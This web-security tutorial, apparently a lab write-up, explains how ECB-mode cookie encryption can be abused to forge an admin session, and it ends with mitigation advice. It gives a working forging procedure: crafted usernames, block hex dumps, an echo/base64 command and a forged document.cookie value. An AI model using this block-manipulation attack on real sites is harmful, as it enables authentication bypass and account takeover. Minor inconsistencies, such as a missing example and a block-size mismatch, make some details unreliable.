ECB (Electronic Code Book) Cipher Authentication Bypass

Understanding ECB and Its Weaknesses

In ECB mode, a message is divided into blocks (typically 8 or 16 bytes), and each block is encrypted separately using the same key. This leads to critical security flaws:

• Predictable Output: Identical input blocks produce identical encrypted output.
• No Diffusion: Changes in one block do not affect others.
• Malleability: Blocks can be reordered, duplicated, or removed without breaking decryption.

These properties make ECB unsuitable for encrypting structured data like authentication tokens or session cookies.

Identifying the Vulnerability

A common sign of ECB misuse is a static session cookie. If logging in multiple times with the same credentials always produces the same encrypted cookie, it suggests deterministic encryption - a hallmark of ECB.

Example:

document.cookie
"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"

Upon analysis, repeating byte patterns (e.g., \x1AL\xD23k\xCA\x1D\xD7) appear multiple times, indicating that identical plaintext blocks (like repeated characters) are producing identical ciphertext blocks.

Analyzing the Encrypted Format

By creating test accounts with controlled usernames and passwords, we can reverse-engineer the structure of the encrypted payload. For example:

This reveals that:

• The cipher uses 8-byte blocks.
• The format is likely: username|separator|password.
• Padding occurs to align with block boundaries.

Determining What the Application Uses

To exploit this, we must know which part of the decrypted data the application actually checks. By modifying the cookie and removing parts of the ciphertext:

• Removing the password block still allows authentication.
• Removing the username block breaks authentication.

This indicates the application only validates the username from the decrypted cookie - ignoring the password entirely.

Exploitation: Gaining Admin Access

Since the application only checks the username and ECB allows block manipulation, we can craft a cookie that decrypts to a privileged user (e.g., admin).

Step 1: Create a Username with Desired Block

Create a user with username: aaaaaaaaadmin (8 + 5 = 13 bytes). The first 8 bytes (aaaaaaaa) fill one block, and the next block starts with admin.

Resulting cookie:

document.cookie
"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"

Decoded hex:

\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3

The second block (\xE0Vd.)r\xEBz\aO) corresponds to admin + padding.

Crafting the Malicious Cookie

We now remove the first block (corresponding to aaaaaaaa) and keep only the block containing admin.

Example: Long Username Account

Username: aaaaaaaaaaaaaaaaaaaaaaaa (24 chars)

9KG7Vr4LWlr0obtWvgtaWvShu1a+C1pazg0dgy059yM=
Hex:
f4 a1 bb 56 be 0b 5a 5a  f4 a1 bb 56 be 0b 5a 5a  f4 a1 bb 56 be 0b 5a 5a  ce 0d 1d 83 2d 39 f7 23

Username: aaaaaaaaaaaaaaaaaaaaaaaaadmin

9KG7Vr4LWlr0obtWvgtaWvShu1a+C1paiHHowyBN55VX92plo0fjxw==
Hex:
f4 a1 bb 56 be 0b 5a 5a  f4 a1 bb 56 be 0b 5a 5a  f4 a1 bb 56 be 0b 5a 5a  
88 71 e8 c3 20 4d e7 95  57 f7 6a 65 a3 47 e3 c7

The last two blocks (8871e8c3204de79557f76a65a347e3c7) represent admin + padding.

Final Payload:

Remove the first 24 bytes (3 blocks), keep the last 8-byte block containing admin, and re-encode:

echo -n -e "\x88\x71\xe8\xc3\x20\x4d\xe7\x95\x57\xf7\x6a\x65\xa3\x47\xe3\xc7" | base64
Output: iHHowyBN55VX92plo0fjxw==

Set the forged cookie:

document.cookie = "auth=iHHowyBN55VX92plo0fjxw=="

Refresh the page - you are now logged in as admin.

Impact

Successful exploitation leads to:

• Privilege escalation to admin or other high-privilege users.
• Authentication bypass without knowing any passwords.
• Persistence via forged session cookies.
• Full compromise of the application's access control model.

Mitigation and Best Practices

Never use ECB mode for encryption. Use secure alternatives:

• AES-CBC with random IVs and HMAC for integrity.
• AES-GCM or ChaCha20-Poly1305 for authenticated encryption (AEAD).

Secure Session Management:

• Use random session tokens instead of encrypting user data.
• Store session identifiers server-side (e.g., in a database or Redis).
• Implement proper session expiration and invalidation.

Cryptographic Hygiene:

• Avoid encrypting structured data unless absolutely necessary.
• Always use authenticated encryption to prevent tampering.
• Use frameworks with built-in secure defaults (e.g., Django, Spring Security).